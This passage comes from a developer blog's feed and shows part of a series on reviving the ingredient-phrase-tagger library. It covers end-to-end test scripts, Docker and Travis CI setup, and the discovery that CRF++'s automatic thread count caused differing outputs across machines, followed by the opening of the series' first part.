&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --data-path=nyt-ingredients-snapshot-2015.csv &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --count=&lt;span style="color:#40ffff">$COUNT_TRAIN&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --offset=&lt;span style="color:#3677a9">0&lt;/span> &amp;gt; &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$ACTUAL_CRF_TRAINING_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>bin/generate_data &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --data-path=nyt-ingredients-snapshot-2015.csv &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --count=&lt;span style="color:#40ffff">$COUNT_TEST&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --offset=&lt;span style="color:#40ffff">$COUNT_TRAIN&lt;/span> &amp;gt; &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$ACTUAL_CRF_TESTING_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>crf_learn &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> template_file &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$ACTUAL_CRF_TRAINING_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$ACTUAL_CRF_MODEL_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>crf_test &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -m &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$ACTUAL_CRF_MODEL_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$ACTUAL_CRF_TESTING_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;gt; &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$ACTUAL_TESTING_OUTPUT_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>python bin/evaluate.py &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$ACTUAL_TESTING_OUTPUT_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;gt; &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$ACTUAL_EVAL_OUTPUT_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Check against golden output.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">GOLDEN_DIR&lt;/span>=tests/golden
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">GOLDEN_CRF_TRAINING_FILE&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">GOLDEN_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/training_data.crf&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">GOLDEN_CRF_TESTING_FILE&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">GOLDEN_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/testing_data.crf&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">GOLDEN_TESTING_OUTPUT_FILE&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">GOLDEN_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/testing_output&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">GOLDEN_EVAL_OUTPUT_FILE&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">GOLDEN_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/eval_output&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>diff --context=&lt;span style="color:#3677a9">2&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GOLDEN_CRF_TRAINING_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$ACTUAL_CRF_TRAINING_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>diff --context=&lt;span style="color:#3677a9">2&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GOLDEN_CRF_TESTING_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$ACTUAL_CRF_TESTING_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>diff --context=&lt;span style="color:#3677a9">2&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GOLDEN_TESTING_OUTPUT_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$ACTUAL_TESTING_OUTPUT_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>diff &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GOLDEN_EVAL_OUTPUT_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$ACTUAL_EVAL_OUTPUT_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
 &lt;a href="https://mtlynch.io/resurrecting-2/build.sh" download class="download-raw-button">download build.sh&lt;/a>
 &lt;/div>


&lt;p>I then added a simple wrapper around that script called &lt;code>docker_build&lt;/code> that ran the end-to-end test within the library&amp;rsquo;s custom Docker container:&lt;/p>




 &lt;div class="inline-file">
 &lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Exit on first failing command.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">set&lt;/span> -e
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Echo commands to console.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">set&lt;/span> -x
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">IMAGE_NAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;ingredient-phrase-tagger-image&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">CONTAINER_NAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;ingredient-phrase-tagger-container&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker build &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --tag &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$IMAGE_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> .
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker run &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --tty &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --detach &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --name &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$CONTAINER_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$IMAGE_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker &lt;span style="color:#24909d">exec&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$CONTAINER_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> ./build.sh
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
 &lt;a href="https://mtlynch.io/resurrecting-2/docker_build" download class="download-raw-button">download docker_build&lt;/a>
 &lt;/div>


&lt;p>With the &lt;code>docker_build&lt;/code> script, my end-to-end test could run on any system that supported Docker. Naturally, I wanted to run it in my continuous integration environment.&lt;/p>
&lt;h2 id="running-my-end-to-end-tests-in-continuous-integration">Running my end-to-end tests in continuous integration&lt;/h2>
&lt;p>My earlier Travis configuration built the Docker image but didn&amp;rsquo;t exercise the library. Now that I had a thorough test script, I updated my &lt;code>.travis.yml&lt;/code> file to run it:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-diff" data-lang="diff">&lt;span style="display:flex;">&lt;span>sudo: required
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>services: docker
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">-script: docker build .
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">&lt;/span>&lt;span style="color:#589819">+script: ./docker_build
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I &lt;a href="https://github.com/mtlynch/ingredient-phrase-tagger/pull/47/commits/5876e039a6e5dd36373c94bd793c83d7457034a6">pushed my changes&lt;/a>, ready to witness the splendor of my brilliant test that could run consistently anywhere. Instead, it failed:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/resurrecting-2/e2e-failing.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/resurrecting-2/e2e-failing_hu_69fc2b829b032ba9.png 300w, https://mtlynch.io/resurrecting-2/e2e-failing_hu_1a3b5d03dede5adb.png 600w, https://mtlynch.io/resurrecting-2/e2e-failing_hu_7405d96a6f8941df.png 800w, https://mtlynch.io/resurrecting-2/e2e-failing.png 1052w'
 src="https://mtlynch.io/resurrecting-2/e2e-failing.png" alt="End-to-end test failing on Travis" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>End-to-end test fails on Travis after passing on my local machine&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I wasn&amp;rsquo;t happy to see a build break, but I was glad that my end-to-end test caught something. I just had to figure out what it was.&lt;/p>
&lt;h2 id="debugging-the-discrepancy">Debugging the discrepancy&lt;/h2>
&lt;p>The whole point of a Docker container is that the program should behave the same anywhere, so how could I run the same container in two places and see different outputs?&lt;/p>
&lt;p>The &lt;a href="https://travis-ci.org/mtlynch/ingredient-phrase-tagger/builds/408775714">Travis build log&lt;/a> showed that the test failed on the diff of the &lt;code>testing_output&lt;/code> file:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-diff" data-lang="diff">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#589819">+ diff --context=2 tests/golden/testing_output /tmp/tmp.W5S3C5T4if/testing_output
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#589819">&lt;/span>*** tests/golden/testing_output Fri Jul 27 02:44:20 2018
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">--- /tmp/tmp.W5S3C5T4if/testing_output Fri Jul 27 03:03:56 2018
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">&lt;/span>***************
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>*** 173,178 ****
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 1 I1 L8 NoCAP NoPAREN B-QTY B-QTY
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> tablespoon I2 L8 NoCAP NoPAREN B-UNIT B-UNIT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="font-weight:bold">! dark I3 L8 NoCAP NoPAREN B-COMMENT B-COMMENT
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="font-weight:bold">! corn I4 L8 NoCAP NoPAREN B-NAME B-NAME
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="font-weight:bold">&lt;/span> syrup I5 L8 NoCAP NoPAREN I-NAME I-NAME
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">--- 173,178 ----
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">&lt;/span> 1 I1 L8 NoCAP NoPAREN B-QTY B-QTY
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> tablespoon I2 L8 NoCAP NoPAREN B-UNIT B-UNIT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="font-weight:bold">! dark I3 L8 NoCAP NoPAREN B-COMMENT B-NAME
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="font-weight:bold">! corn I4 L8 NoCAP NoPAREN B-NAME I-NAME
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="font-weight:bold">&lt;/span> syrup I5 L8 NoCAP NoPAREN I-NAME I-NAME
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>testing_output&lt;/code> file was the result of these two lines in my &lt;code>build.sh&lt;/code> script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>crf_learn &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> template_file &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$ACTUAL_CRF_TRAINING_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$ACTUAL_CRF_MODEL_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>crf_test &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -m &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$ACTUAL_CRF_MODEL_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$ACTUAL_CRF_TESTING_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;gt; &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$ACTUAL_TESTING_OUTPUT_FILE&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>crf_learn&lt;/code> and &lt;code>crf_test&lt;/code> were both command-line utilities for &lt;a href="https://taku910.github.io/crfpp/">CRF++&lt;/a>, the engine that powered ingredient-phrase-tagger&amp;rsquo;s machine learning logic. Without knowing much about these utilities, I could deduce from the syntax that &lt;code>crf_learn&lt;/code> created a machine learning model and &lt;code>crf_test&lt;/code> used that model to classify data.&lt;/p>
&lt;p>The end-to-end test had verified that the contents of &lt;code>$ACTUAL_CRF_TRAINING_FILE&lt;/code> and &lt;code>$ACTUAL_CRF_TESTING_FILE&lt;/code> matched my golden versions. This meant that &lt;code>crf_learn&lt;/code> and &lt;code>crf_test&lt;/code> took in inputs that were identical on my local system as well as in continuous integration, but they produced different outputs depending on the environment.&lt;/p>
&lt;h2 id="a-deeper-dive-into-crf">A deeper dive into CRF++&lt;/h2>
&lt;p>Was CRF++ non-deterministic? I tried running the test again locally. It passed. I re-ran the test on Travis, and it failed in the same way. This told me that CRF++ was consistent across executions in the same environment, but was inconsistent across environments.&lt;/p>
&lt;p>I didn&amp;rsquo;t like where this was pointing. It suggested that CRF++&amp;rsquo;s behavior depended on the system&amp;rsquo;s underlying hardware. Maybe an Intel CPU yielded different results than an AMD CPU. That would be a pain because Travis doesn&amp;rsquo;t guarantee anything about its hardware environment. Furthermore, if different hardware yielded different results, that would defeat the purpose of a Docker container.&lt;/p>
&lt;p>In desperation, I checked CRF++&amp;rsquo;s command-line documentation to look for anything that might hint about hardware dependencies:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>$ crf_learn --help
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> -p, --thread=INT number of threads (default auto-detect)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>--thread&lt;/code> flag looked interesting. I checked the &lt;a href="https://taku910.github.io/crfpp/">full documentation&lt;/a> for more details:&lt;/p>
&lt;blockquote>
&lt;p>-p NUM:&lt;/p>
&lt;p>If the PC has multiple CPUs, you can make the training faster by using multi-threading. NUM is the number of threads.&lt;/p>&lt;/blockquote>
&lt;p>This sounded promising.&lt;/p>
&lt;p>I compared the CRF++ output on Travis to the same output lines in my local environment:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/resurrecting-2/thread-delta.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/resurrecting-2/thread-delta_hu_763cf2967b61bc2f.png 300w, https://mtlynch.io/resurrecting-2/thread-delta_hu_68f40179c714dbb.png 600w, https://mtlynch.io/resurrecting-2/thread-delta_hu_f75bed5ed465b0d7.png 800w, https://mtlynch.io/resurrecting-2/thread-delta_hu_6b2301c1eb25636.png 1200w, https://mtlynch.io/resurrecting-2/thread-delta.png 1296w'
 src="https://mtlynch.io/resurrecting-2/thread-delta.png" alt="Difference in crf_learn thread count between local machine and Travis" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>crf_learn runs with two threads on Travis, but eight in my local environment&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Ah ha!&lt;/p>
&lt;p>Because I omitted the &lt;code>--thread&lt;/code> flag, CRF++ set it automatically based on the number of CPU cores available. My Travis environment had two CPU cores, while my local machine had eight.&lt;/p>
&lt;p>I tweaked my &lt;code>build.sh&lt;/code> script to set the thread count explicitly:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-diff" data-lang="diff">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">-crf_learn template_file &amp;#34;$ACTUAL_CRF_TRAINING_FILE&amp;#34; &amp;#34;$ACTUAL_CRF_MODEL_FILE&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">&lt;/span>&lt;span style="color:#589819">+crf_learn \
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#589819">+ --thread=2 \
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#589819">+ template_file &amp;#34;$ACTUAL_CRF_TRAINING_FILE&amp;#34; &amp;#34;$ACTUAL_CRF_MODEL_FILE&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Then, I saved the newly generated output files as my golden copies. I pushed &lt;a href="https://github.com/mtlynch/ingredient-phrase-tagger/commit/c1cad53a4d661d86dc4842aff6e5bac36723d4e7">the changes&lt;/a> to GitHub and was greeted with a pleasant sight: &lt;a href="https://travis-ci.org/mtlynch/ingredient-phrase-tagger/builds/408786692">my end-to-end tests passed&lt;/a>:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/resurrecting-2/e2e-fix.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/resurrecting-2/e2e-fix_hu_c103d099d3bd695c.png 300w, https://mtlynch.io/resurrecting-2/e2e-fix_hu_1016250d186f2832.png 600w, https://mtlynch.io/resurrecting-2/e2e-fix_hu_d7365e94715889c1.png 800w, https://mtlynch.io/resurrecting-2/e2e-fix.png 1052w'
 src="https://mtlynch.io/resurrecting-2/e2e-fix.png" alt="Success after fixing end-to-end test" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>End-to-end test passing on Travis&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="the-value-of-good-tests">The value of good tests&lt;/h2>
&lt;p>The end-to-end test proved its value very quickly. While it was tedious to dive into the documentation for one of the library&amp;rsquo;s dependencies, the test exposed that the library produced inconsistent results depending on its environment. This is something the library&amp;rsquo;s original authors likely never realized.&lt;/p>
&lt;p>With the end-to-end test in place and continuous integration running, I had an authoritative environment that demonstrated the library&amp;rsquo;s expected functionality. The test provided a valuable safeguard in case I made any changes that unintentionally changed the library&amp;rsquo;s behavior.&lt;/p>
&lt;h2 id="whats-next">What&amp;rsquo;s next?&lt;/h2>
&lt;p>With the confidence from my test, it was time for my favorite part of a software project: refactoring. I was free to make large-scale changes to the code because I knew the build would break loudly if I did anything too stupid.&lt;/p>
&lt;p>Read on for &lt;a href="https://mtlynch.io/resurrecting-3/">part three&lt;/a> of this series, where I describe how I:&lt;/p>
&lt;ul>
&lt;li>added unit tests&lt;/li>
&lt;li>applied style conventions to the code automatically&lt;/li>
&lt;li>integrated static analysis into the build&lt;/li>
&lt;/ul>
&lt;div class="zestful-box">
 &lt;div class="zestful-box-inner">
 &lt;div class="logo">
 &lt;a href="https://zestfuldata.com/">
 &lt;img src="https://mtlynch.io/images/zestful/logo.png" alt="Zestful logo">
 &lt;/a>
 &lt;/div>

 &lt;div class="text">
 &lt;h3>Want to parse ingredients without all this work?&lt;/h3>

 &lt;p>I went through all of these steps, so you don’t have to. Check out &lt;a href="https://zestfuldata.com/">Zestful&lt;/a>, my managed service for ingredient parsing.&lt;/p>
 &lt;/div>
 &lt;/div>
&lt;/div>

&lt;hr>
&lt;p>&lt;em>Cover illustration by Loraine Yow. My fork of the ingredient-phrase-tagger library is available on &lt;a href="https://github.com/mtlynch/ingredient-phrase-tagger">GitHub&lt;/a>. I offer a managed service based on this library called &lt;a href="https://zestfuldata.com">Zestful&lt;/a>.&lt;/em>&lt;/p></content:encoded></item><item><title>Resurrecting a Dead Library: Part One - Resuscitation</title><link>https://mtlynch.io/resurrecting-1/</link><pubDate>Tue, 24 Jul 2018 00:00:00 +0000</pubDate><guid>https://mtlynch.io/resurrecting-1/</guid><description>&lt;p>When I arrived on the scene, it wasn&amp;rsquo;t a pretty sight.&lt;/p>
&lt;p>I saw formerly active, cheerful Python classes in a sorry state of atrophy, having gone years without exercise. Functions at all levels of abstraction were crammed together inhumanely under the label &lt;code>utils&lt;/code>. I tried to read the UI code but found something obstructing it. After a closer look, I was overcome with nausea. The obstructions in the view layer were, in fact, gory chunks of business logic.&lt;/p></description><content:encoded>&lt;p>When I arrived on the scene, it wasn&amp;rsquo;t a pretty sight.&lt;/p>
&lt;p>I saw formerly active, cheerful Python classes in a sorry state of atrophy, having gone years without exercise. Functions at all levels of abstraction were crammed together inhumanely under the label &lt;code>utils&lt;/code>. I tried to read the UI code but found something obstructing it. After a closer look, I was overcome with nausea. The obstructions in the view layer were, in fact, gory chunks of business logic.&lt;/p>
&lt;p>The code was dead.&lt;/p>
&lt;p>In this three-part series, I&amp;rsquo;ll show you how I resurrected it and built a business with the result:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Part One: Resuscitation (this post)&lt;/strong> - In which I nurse the code back to health so that it runs on any modern system&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/resurrecting-2/">Part Two: Stabilization&lt;/a> - In which I prevent functionality from regressing while I restore the code&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/resurrecting-3/">Part Three: Rehabilitation&lt;/a> - In which I begin refactoring the code&lt;/li>
&lt;/ul>













 








 
 
 

 
 
 

 
 
 





